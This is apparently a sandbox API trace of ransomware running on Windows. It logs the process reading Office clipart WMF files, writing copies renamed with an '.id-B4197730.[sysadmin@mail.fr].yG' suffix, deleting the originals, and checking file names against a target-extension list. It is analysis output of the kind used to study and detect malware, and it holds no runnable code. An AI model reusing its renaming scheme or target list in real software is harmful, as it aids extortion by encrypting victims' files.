	[0166.030] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=7992) returned 1
	[0166.030] CloseHandle (hObject=0x550) returned 1
	[0166.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf")) returned 0x220
	[0166.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0166.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0166.031] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.032] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0166.032] GetLastError () returned 0x0
	[0166.032] ReadFile (in: hFile=0x550, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x1f38, lpOverlapped=0x0) returned 1
	[0166.080] WriteFile (in: hFile=0x350, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x1f40, lpOverlapped=0x0) returned 1
	[0166.081] ReadFile (in: hFile=0x550, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.081] WriteFile (in: hFile=0x350, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.081] SetEndOfFile (hFile=0x350) returned 1
	[0166.081] CloseHandle (hObject=0x350) returned 1
	[0166.081] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.081] SetEndOfFile (hFile=0x550) returned 1
	[0166.084] CloseHandle (hObject=0x550) returned 1
	[0166.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0166.085] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf")) returned 1
	[0166.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0166.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0166.085] lstrlenW (lpString=".doc") returned 4
	[0166.085] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0166.085] lstrlenW (lpString=".docx") returned 5
	[0166.085] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0166.085] lstrlenW (lpString=".pdf") returned 4
	[0166.086] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0166.086] lstrlenW (lpString=".xls") returned 4
	[0166.086] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0166.086] lstrlenW (lpString=".xlsx") returned 5
	[0166.086] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0166.086] lstrlenW (lpString=".ppt") returned 4
	[0166.086] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0166.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0166.086] lstrlenW (lpString=".zip") returned 4
	[0166.086] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0166.086] lstrlenW (lpString=".rar") returned 4
	[0166.086] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0166.086] lstrlenW (lpString=".bz2") returned 4
	[0166.086] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0166.086] lstrlenW (lpString=".7z") returned 3
	[0166.086] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0166.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0166.086] lstrlenW (lpString=".dbf") returned 4
	[0166.086] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0166.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0166.086] lstrlenW (lpString=".1cd") returned 4
	[0166.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0166.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0166.086] lstrlenW (lpString=".jpg") returned 4
	[0166.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0166.088] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=10508) returned 1
	[0166.088] CloseHandle (hObject=0x550) returned 1
	[0166.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf")) returned 0x220
	[0166.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0166.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0166.396] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.396] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0166.602] GetLastError () returned 0x0
	[0166.602] ReadFile (in: hFile=0x564, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x290c, lpOverlapped=0x0) returned 1
	[0166.604] WriteFile (in: hFile=0x560, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x2910, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x2910, lpOverlapped=0x0) returned 1
	[0166.605] ReadFile (in: hFile=0x564, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.606] WriteFile (in: hFile=0x560, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.606] SetEndOfFile (hFile=0x560) returned 1
	[0166.606] CloseHandle (hObject=0x560) returned 1
	[0166.606] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.606] SetEndOfFile (hFile=0x564) returned 1
	[0166.611] CloseHandle (hObject=0x564) returned 1
	[0166.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0166.919] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf")) returned 1
	[0166.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0166.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0166.920] lstrlenW (lpString=".doc") returned 4
	[0166.921] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0166.921] lstrlenW (lpString=".docx") returned 5
	[0166.921] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0166.921] lstrlenW (lpString=".pdf") returned 4
	[0166.921] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0166.921] lstrlenW (lpString=".xls") returned 4
	[0166.921] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0166.921] lstrlenW (lpString=".xlsx") returned 5
	[0166.921] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0166.921] lstrlenW (lpString=".ppt") returned 4
	[0166.921] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0166.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0166.921] lstrlenW (lpString=".zip") returned 4
	[0166.921] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0166.921] lstrlenW (lpString=".rar") returned 4
	[0166.921] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0166.921] lstrlenW (lpString=".bz2") returned 4
	[0166.921] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0166.921] lstrlenW (lpString=".7z") returned 3
	[0166.921] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0166.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0166.921] lstrlenW (lpString=".dbf") returned 4
	[0166.922] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0166.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0166.922] lstrlenW (lpString=".1cd") returned 4
	[0166.922] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0166.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0166.922] lstrlenW (lpString=".jpg") returned 4
	[0166.922] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0166.922] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=4944) returned 1
	[0166.922] CloseHandle (hObject=0x558) returned 1
	[0166.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf")) returned 0x220
	[0166.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0166.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0166.924] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.924] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0166.928] GetLastError () returned 0x0
	[0166.928] ReadFile (in: hFile=0x558, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x1350, lpOverlapped=0x0) returned 1
	[0166.932] WriteFile (in: hFile=0x51c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x1360, lpOverlapped=0x0) returned 1
	[0166.933] ReadFile (in: hFile=0x558, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.933] WriteFile (in: hFile=0x51c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.934] SetEndOfFile (hFile=0x51c) returned 1
	[0166.934] CloseHandle (hObject=0x51c) returned 1
	[0166.934] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.934] SetEndOfFile (hFile=0x558) returned 1
	[0166.938] CloseHandle (hObject=0x558) returned 1
	[0166.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0167.138] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf")) returned 1
	[0167.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0167.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0167.356] lstrlenW (lpString=".doc") returned 4
	[0167.356] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.356] lstrlenW (lpString=".docx") returned 5
	[0167.356] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0167.356] lstrlenW (lpString=".pdf") returned 4
	[0167.356] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.356] lstrlenW (lpString=".xls") returned 4
	[0167.356] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.356] lstrlenW (lpString=".xlsx") returned 5
	[0167.356] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0167.357] lstrlenW (lpString=".ppt") returned 4
	[0167.357] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0167.357] lstrlenW (lpString=".zip") returned 4
	[0167.357] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.357] lstrlenW (lpString=".rar") returned 4
	[0167.357] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.357] lstrlenW (lpString=".bz2") returned 4
	[0167.357] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.357] lstrlenW (lpString=".7z") returned 3
	[0167.357] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0167.357] lstrlenW (lpString=".dbf") returned 4
	[0167.357] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0167.357] lstrlenW (lpString=".1cd") returned 4
	[0167.357] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0167.358] lstrlenW (lpString=".jpg") returned 4
	[0167.358] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.360] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=20444) returned 1
	[0167.360] CloseHandle (hObject=0x4d8) returned 1
	[0167.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf")) returned 0x220
	[0167.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0167.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0167.362] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.362] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0167.364] GetLastError () returned 0x0
	[0167.364] ReadFile (in: hFile=0x4d8, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x4fdc, lpOverlapped=0x0) returned 1
	[0167.370] WriteFile (in: hFile=0x550, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x4fe0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x4fe0, lpOverlapped=0x0) returned 1
	[0167.373] ReadFile (in: hFile=0x4d8, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.373] WriteFile (in: hFile=0x550, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.373] SetEndOfFile (hFile=0x550) returned 1
	[0167.374] CloseHandle (hObject=0x550) returned 1
	[0167.374] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.374] SetEndOfFile (hFile=0x4d8) returned 1
	[0167.378] CloseHandle (hObject=0x4d8) returned 1
	[0167.385] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0167.386] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf")) returned 1
	[0167.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0167.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0167.387] lstrlenW (lpString=".doc") returned 4
	[0167.387] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.387] lstrlenW (lpString=".docx") returned 5
	[0167.387] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0167.387] lstrlenW (lpString=".pdf") returned 4
	[0167.387] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.387] lstrlenW (lpString=".xls") returned 4
	[0167.387] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.387] lstrlenW (lpString=".xlsx") returned 5
	[0167.387] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0167.387] lstrlenW (lpString=".ppt") returned 4
	[0167.387] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0167.387] lstrlenW (lpString=".zip") returned 4
	[0167.387] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.388] lstrlenW (lpString=".rar") returned 4
	[0167.388] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.388] lstrlenW (lpString=".bz2") returned 4
	[0167.388] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.388] lstrlenW (lpString=".7z") returned 3
	[0167.388] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0167.389] lstrlenW (lpString=".dbf") returned 4
	[0167.389] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0167.389] lstrlenW (lpString=".1cd") returned 4
	[0167.389] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0167.389] lstrlenW (lpString=".jpg") returned 4
	[0167.389] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.407] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=9400) returned 1
	[0167.407] CloseHandle (hObject=0x4d8) returned 1
	[0167.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf")) returned 0x220
	[0167.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0167.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0167.413] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.414] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0167.414] GetLastError () returned 0x0
	[0167.414] ReadFile (in: hFile=0x4d8, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x24b8, lpOverlapped=0x0) returned 1
	[0167.532] WriteFile (in: hFile=0x550, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x24c0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x24c0, lpOverlapped=0x0) returned 1
